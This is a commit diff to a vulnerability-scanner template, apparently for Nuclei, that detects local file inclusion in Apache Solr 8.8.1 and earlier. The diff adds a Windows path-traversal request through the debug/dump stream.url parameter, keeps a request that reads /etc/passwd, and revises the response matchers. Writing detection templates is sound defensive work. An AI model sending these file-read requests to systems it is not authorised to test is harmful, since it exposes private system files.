Update apache-solr-file-read.yaml
1. The added GET request triggers a file local read on Windows OS. 2. Matcher added to the Response trigger by 1. 3. Matcher for other cases (Errors, ie. not found path)patch-1
parent
6242d0d126
commit
843264155b
|
@ -2,7 +2,7 @@ id: apache-solr-file-read
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: Apache Solr <= 8.8.1 - Local File Inclusion
|
name: Apache Solr <= 8.8.1 - Local File Inclusion
|
||||||
author: DhiyaneshDk
|
author: DhiyaneshDk, philippedelteil
|
||||||
severity: high
|
severity: high
|
||||||
description: Apache Solr versions prior to and including 8.8.1 are vulnerable to local file inclusion.
|
description: Apache Solr versions prior to and including 8.8.1 are vulnerable to local file inclusion.
|
||||||
reference:
|
reference:
|
||||||
|
@ -23,6 +23,12 @@ requests:
|
||||||
Accept-Language: en
|
Accept-Language: en
|
||||||
Connection: close
|
Connection: close
|
||||||
|
|
||||||
|
- |
|
||||||
|
GET /solr/{{core}}/debug/dump?stream.url=file:///../../../../../¶m=ContentStream HTTP/1.1
|
||||||
|
Host: {{Hostname}}
|
||||||
|
Accept-Language: en
|
||||||
|
Connection: close
|
||||||
|
|
||||||
- |
|
- |
|
||||||
GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream HTTP/1.1
|
GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream HTTP/1.1
|
||||||
Host: {{Hostname}}
|
Host: {{Hostname}}
|
||||||
|
@ -37,14 +43,21 @@ requests:
|
||||||
regex:
|
regex:
|
||||||
- '"name"\:"(.*?)"'
|
- '"name"\:"(.*?)"'
|
||||||
|
|
||||||
matchers-condition: and
|
|
||||||
matchers:
|
matchers:
|
||||||
- type: status
|
- type: word
|
||||||
status:
|
name: "Windows"
|
||||||
- 200
|
words:
|
||||||
|
- "Windows"
|
||||||
|
- "Users"
|
||||||
|
- "org.apache.solr.handler.DumpRequestHandler"
|
||||||
|
condition: and
|
||||||
- type: regex
|
- type: regex
|
||||||
|
name: "Linux"
|
||||||
regex:
|
regex:
|
||||||
- "root:.*:0:0:"
|
- "root:.*:0:0:"
|
||||||
|
- type: word
|
||||||
|
name: "Other"
|
||||||
|
words:
|
||||||
|
- "java.io.FileNotFoundException"
|
||||||
|
|
||||||
# Enhanced by mp on 2022/07/22
|
# Enhanced by mp on 2022/07/22
|
||||||
|
|
Loading…
Reference in New Issue